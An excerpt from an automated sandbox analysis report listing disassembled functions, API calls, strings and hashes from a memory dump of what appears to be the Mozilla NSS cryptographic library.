Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 83d3738010debd25c7a6b97e912096d79b6ffbc1759fb99d25b242b07cefa61f
Instruction ID: b8b0e2b090aad084ae1b038e8629c3eb3c839fe788a2e24b4a8adb18e8ff71e9
Opcode Fuzzy Hash: 83d3738010debd25c7a6b97e912096d79b6ffbc1759fb99d25b242b07cefa61f
Instruction Fuzzy Hash: 345196B5A012156BEB01DFA4EC41AAF37A8AF16258F140020FD19F7B41FB35E919C7B2

Function 6CC88E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CC88E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC88EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC88EB3

Part of subcall function 6CD6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC88EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CC88EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CC88F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC88F29
PR_LogPrint.NSS3(?,00000000), ref: 6CC88F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CC88F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC88F80
PR_LogPrint.NSS3(?,00000000), ref: 6CC88F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CC88FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CC88FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CC89047

Strings

pMechanism = 0x%p, xrefs: 6CC88EE0
(CK_INVALID_HANDLE), xrefs: 6CC88EAC, 6CC88F1F, 6CC88F79
pulWrappedKeyLen = 0x%p, xrefs: 6CC88FC8
hWrappingKey = 0x%x, xrefs: 6CC88F01, 6CC88F11
C_WrapKey, xrefs: 6CC88E71
hSession = 0x%x, xrefs: 6CC88E8E, 6CC88E9E
pWrappedKey = 0x%p, xrefs: 6CC88FAD
*pulWrappedKeyLen = 0x%x, xrefs: 6CC89042
hKey = 0x%x, xrefs: 6CC88F5B, 6CC88F6B

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: 40c9216e4426e4cdd8a3a4cce01e8a2aa7013fed1aefbe3801d7b2eb537bf600
Instruction ID: 1f982e8566acff187fdb15324d6ab5d4ecc93fe026f0b18c5979a89cba3efb76
Opcode Fuzzy Hash: 40c9216e4426e4cdd8a3a4cce01e8a2aa7013fed1aefbe3801d7b2eb537bf600
Instruction Fuzzy Hash: 8451C572602104EFEB00DF55DD48F9B7B76AB4234DF084026F6096BE62E730991CCBA5

Function 6CCB4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CCA4F51,00000000), ref: 6CCB4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CCA4F51,00000000), ref: 6CCB4C5B
PR_smprintf.NSS3(6CD8AAF9,?,0000002F,?,?,?,00000000,00000000,?,6CCA4F51,00000000), ref: 6CCB4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CCA4F51,00000000), ref: 6CCB4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCB4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCB4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCB4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CCA4F51,00000000), ref: 6CCB4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CCA4F51,00000000), ref: 6CCB4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CCB4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CCB4DA2
free.MOZGLUE(?), ref: 6CCB4DB9
free.MOZGLUE(00000000), ref: 6CCB4DCF

Strings

0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CCB4D9D
%s,%s, xrefs: 6CCB4C4B
ootT, xrefs: 6CCB4D1A
any, xrefs: 6CCB4C96
timeout, xrefs: 6CCB4C91
rust, xrefs: 6CCB4D22
every, xrefs: 6CCB4CA1
slotFlags, xrefs: 6CCB4D34
rootFlags, xrefs: 6CCB4D47
0x%08lx=[%s %s], xrefs: 6CCB4D80

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: df0d0a2924a5420d6ef3f7a3a0f225f8c8a819d3c85401811d1de32dbe300b6e
Instruction ID: 61640c33d12621bffc10a616e93f51b45e7d10dbf1e5a5333fbfe3d294a57d44
Opcode Fuzzy Hash: df0d0a2924a5420d6ef3f7a3a0f225f8c8a819d3c85401811d1de32dbe300b6e
Instruction Fuzzy Hash: 33417CB2D041516BEB11DFA9DC80ABF3669AF82758F094124E81A6BB11F731E914C7E3

Function 6CC96910 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 131COMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CC96943

Part of subcall function 6CCB4210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,B58BF8DA,flags,?,00000000,?,6CC95947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 6CCB4220
Part of subcall function 6CCB4210: NSSUTIL_ArgGetParamValue.NSS3(?,6CC95947,?,?,?,?,?,?,00000000,?,00000000,?,6CC97703,?,00000000,00000000), ref: 6CCB422D
Part of subcall function 6CCB4210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CC97703), ref: 6CCB424B
Part of subcall function 6CCB4210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CC97703,?,00000000), ref: 6CCB4272

NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CC96957
NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CC96972
NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CC96983

Part of subcall function 6CCB3EA0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(8914C483,70E85609,6CC8C79F,?,6CC96247,70E85609,?,?,6CC8C79F,6CC9781D,?,6CC8BD52,00000001,70E85609,D85D8B04,?), ref: 6CCB3EB8

PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CC969AA
PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CC969BE
PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CC969D2
NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CC969DF

Part of subcall function 6CCB4020: isspace.API-MS-WIN-CRT-STRING-L1-1-0(FFFFEF69,00000000,?,?,75C44C80,?,6CCB50B7,?), ref: 6CCB4041

free.MOZGLUE(00000000), ref: 6CC969F6
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6CC96A04
free.MOZGLUE(00000000), ref: 6CC96A1B
NSSUTIL_ArgFetchValue.NSS3(-0000000B,?), ref: 6CC96A29
free.MOZGLUE(00000000), ref: 6CC96A3F
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6CC96A4D
NSSUTIL_ArgStrip.NSS3(?), ref: 6CC96A5B

Strings

flags, xrefs: 6CC96937, 6CC96942, 6CC96956, 6CC9696D
nokeydb, xrefs: 6CC96968
certPrefix=, xrefs: 6CC969B8
nocertdb, xrefs: 6CC96951
configdir=, xrefs: 6CC969A4
keyPrefix=, xrefs: 6CC969CC
readOnly, xrefs: 6CC9693D

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: L_strncasecmpValuefree$FetchFlag$Stripisspace$ParamParameterSkipstrlen
String ID: certPrefix=$configdir=$flags$keyPrefix=$nocertdb$nokeydb$readOnly
API String ID: 2065226673-2785624044
Opcode ID: 52e103f29231e81d38ec56c054807bd8c85d3299e8580a7339c507233d1e74e5
Instruction ID: 3e9e2abf06bdd2da1182c582279dcb484f45654e1e46b3b0a6a119a26295ac27
Opcode Fuzzy Hash: 52e103f29231e81d38ec56c054807bd8c85d3299e8580a7339c507233d1e74e5
Instruction Fuzzy Hash: 3041BFF1E402056BE740DBB5AC81B6F77ACAF05248F080430E905E6B82FB35DA58C7E2

Function 6CC84950 Relevance: 36.9, APIs: 13, Strings: 8, Instructions: 170COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_CopyObject), ref: 6CC84976
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC849A7
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC849B6

Part of subcall function 6CD6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC849CC
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CC849FA
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC84A09
PR_LogPrint.NSS3(?,00000000), ref: 6CC84A1F
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CC84A40
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CC84A5C
PR_LogPrint.NSS3( phNewObject = 0x%p,?), ref: 6CC84A7C
PL_strncpyz.NSS3(?, *phNewObject = 0x%x,00000050), ref: 6CC84B17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC84B26
PR_LogPrint.NSS3(?,00000000), ref: 6CC84B3C

Strings

ulCount = %d, xrefs: 6CC84A57
phNewObject = 0x%p, xrefs: 6CC84A77
C_CopyObject, xrefs: 6CC84971
(CK_INVALID_HANDLE), xrefs: 6CC849AF, 6CC84A02, 6CC84B1F
hSession = 0x%x, xrefs: 6CC84991, 6CC849A1
pTemplate = 0x%p, xrefs: 6CC84A39
hObject = 0x%x, xrefs: 6CC849E4, 6CC849F4
*phNewObject = 0x%x, xrefs: 6CC84B01, 6CC84B11

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phNewObject = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ phNewObject = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_CopyObject
API String ID: 1003633598-1222337137
Opcode ID: e6a924b1d043cfcd0a3c4091e5d62754c2ca3a2ceac550a50a35672d57fa269c
Instruction ID: 37cc656af8e424e840e79a5acfeba1cda9522a388e548dff3a197b8dca88e7b0
Opcode Fuzzy Hash: e6a924b1d043cfcd0a3c4091e5d62754c2ca3a2ceac550a50a35672d57fa269c
Instruction Fuzzy Hash: DA51A371602114AFEB00DF15DD84F9B7B7DAB4224DF094025FA097BB61E730AD18CBA9

Function 6CC808F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6CC8094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC80953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6CC8096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6CC80974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CC8098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CC80995

Part of subcall function 6CC81800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CC81860
Part of subcall function 6CC81800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6CC809BF), ref: 6CC81897
Part of subcall function 6CC81800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC818AA
Part of subcall function 6CC81800: memcpy.VCRUNTIME140(?,?,?), ref: 6CC818C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CC80B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CC80B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CC80B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6CC80B78

Strings

info_hash, xrefs: 6CC809E0
exp, xrefs: 6CC80B36
base_nonce, xrefs: 6CC80B06
key, xrefs: 6CC80ACB
secret, xrefs: 6CC80A88
psk_id_hash, xrefs: 6CC809B5

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: abc56096c30313697b75837e71e79c7a83dc8534dcc2199231ffdb4c41dcb539
Instruction ID: 28db3737a73138198aad99975e7345d34e66459ded920eb4119b4e2a636c0c90
Opcode Fuzzy Hash: abc56096c30313697b75837e71e79c7a83dc8534dcc2199231ffdb4c41dcb539
Instruction Fuzzy Hash: 8B817A75605301AFD700CF55C88099BFBE8FF88708F048919F99987B61E730EA19CBA2

Function 6CC889B0 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 149COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GenerateKey), ref: 6CC889D6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC88A04
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC88A13

Part of subcall function 6CD6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC88A29
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CC88A4B
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CC88A67
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CC88A83
PR_LogPrint.NSS3( phKey = 0x%p,?), ref: 6CC88AA1
PL_strncpyz.NSS3(?, *phKey = 0x%x,00000050), ref: 6CC88B43
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC88B52
PR_LogPrint.NSS3(?,00000000), ref: 6CC88B68

Strings

pMechanism = 0x%p, xrefs: 6CC88A46
phKey = 0x%p, xrefs: 6CC88A9C
ulCount = %d, xrefs: 6CC88A7E
(CK_INVALID_HANDLE), xrefs: 6CC88A0C, 6CC88B4B
C_GenerateKey, xrefs: 6CC889D1
hSession = 0x%x, xrefs: 6CC889EE, 6CC889FE
*phKey = 0x%x, xrefs: 6CC88B2D, 6CC88B3D
pTemplate = 0x%p, xrefs: 6CC88A62

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phKey = 0x%x$ hSession = 0x%x$ pMechanism = 0x%p$ pTemplate = 0x%p$ phKey = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GenerateKey
API String ID: 1003633598-2039122979
Opcode ID: 2d3b8a62590987f5eed106b59379c9002d31ea017d534a10d25837e9f17338b9
Instruction ID: 7c47423d2085ecf3b3e7d89d22eb05590d11558b054ef5a9bd8dd63342a0c031
Opcode Fuzzy Hash: 2d3b8a62590987f5eed106b59379c9002d31ea017d534a10d25837e9f17338b9
Instruction Fuzzy Hash: B8519871602144EFEB00DF15DD84E9F3B75AB4274CF484026EA096BF61E734E859CBA5

Function 6CC6AB90 Relevance: 33.4, APIs: 22, Instructions: 388COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC6ABCB
EnterCriticalSection.KERNEL32 ref: 6CC6ABE4
TlsGetValue.KERNEL32 ref: 6CC6AC0B
PR_Unlock.NSS3 ref: 6CC6AC7B
TlsGetValue.KERNEL32 ref: 6CC6AC9C
EnterCriticalSection.KERNEL32 ref: 6CC6ACB5
PR_WaitCondVar.NSS3 ref: 6CC6ACD5
TlsGetValue.KERNEL32 ref: 6CC6ACF4

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$CondUnlockWait
String ID:
API String ID: 839227765-0
Opcode ID: f79c9e10b8e54b14090b8d79f3ae4baae387b9de5ad121719cdb6fb8c2f08634
Instruction ID: a1adee3a5adfcb612b43f01d9df7dc15ffa8a8d2653a663b11d5cdcd8d343a0b
Opcode Fuzzy Hash: f79c9e10b8e54b14090b8d79f3ae4baae387b9de5ad121719cdb6fb8c2f08634
Instruction Fuzzy Hash: 7DF15AB0A04751CFEB109F7AC684759BBF4BF46308F008569D99987E51FB34E485CB92

Function 6CC92D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CC92DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CC92E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC92E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC92E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CC64F1C,?,-00000001,00000000,?), ref: 6CC92E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CC64F1C,?,-00000001,00000000), ref: 6CC92E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC92EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC92EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC92EF8
PR_Unlock.NSS3(?), ref: 6CC92F62
TlsGetValue.KERNEL32 ref: 6CC92F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CC92F9E
PR_Unlock.NSS3(?), ref: 6CC92FCA
TlsGetValue.KERNEL32 ref: 6CC9301A
EnterCriticalSection.KERNEL32(?), ref: 6CC9302E
PR_Unlock.NSS3(?), ref: 6CC93066
PR_SetError.NSS3(00000000,00000000), ref: 6CC93085
PR_Unlock.NSS3(?), ref: 6CC930EC
TlsGetValue.KERNEL32 ref: 6CC9310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CC93124
PR_Unlock.NSS3(?), ref: 6CC9314C

Part of subcall function 6CC79180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CCA379E,?,6CC79568,00000000,?,6CCA379E,?,00000001,?), ref: 6CC7918D
Part of subcall function 6CC79180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CCA379E,?,6CC79568,00000000,?,6CCA379E,?,00000001,?), ref: 6CC791A0

Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407AD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407CD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407D6
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBD204A), ref: 6CC407E4
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,6CBD204A), ref: 6CC40864
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC40880
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,6CBD204A), ref: 6CC408CB
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408D7
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408FB

PR_SetError.NSS3(00000000,00000000), ref: 6CC9316D

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 353be4cdcd43ea87d58c9790e0f5fa51a7ec4c1e93ef60136da667f754aa33b3
Instruction ID: 8a387aed4d25aff260a84850c43cfd2819cd944b13c33905ddf4aac55b17e4af
Opcode Fuzzy Hash: 353be4cdcd43ea87d58c9790e0f5fa51a7ec4c1e93ef60136da667f754aa33b3
Instruction Fuzzy Hash: A0F18BB1D00209AFEF00DF65D884BAEBBB8BF09318F184169ED45A7711E731A995CB91

Function 6CC8AB10 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptMessageNext), ref: 6CC8AB36
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC8AB64
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC8AB73

Part of subcall function 6CD6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC8AB89
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CC8ABAB
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CC8ABC6
PR_LogPrint.NSS3( pCiphertextPart = 0x%p,?), ref: 6CC8ABE1
PR_LogPrint.NSS3( ulCiphertextPartLen = %d,?), ref: 6CC8ABFC
PR_LogPrint.NSS3( pPlaintextPart = 0x%p,?), ref: 6CC8AC17
PR_LogPrint.NSS3( pulPlaintextPartLen = 0x%p,?), ref: 6CC8AC30

Strings

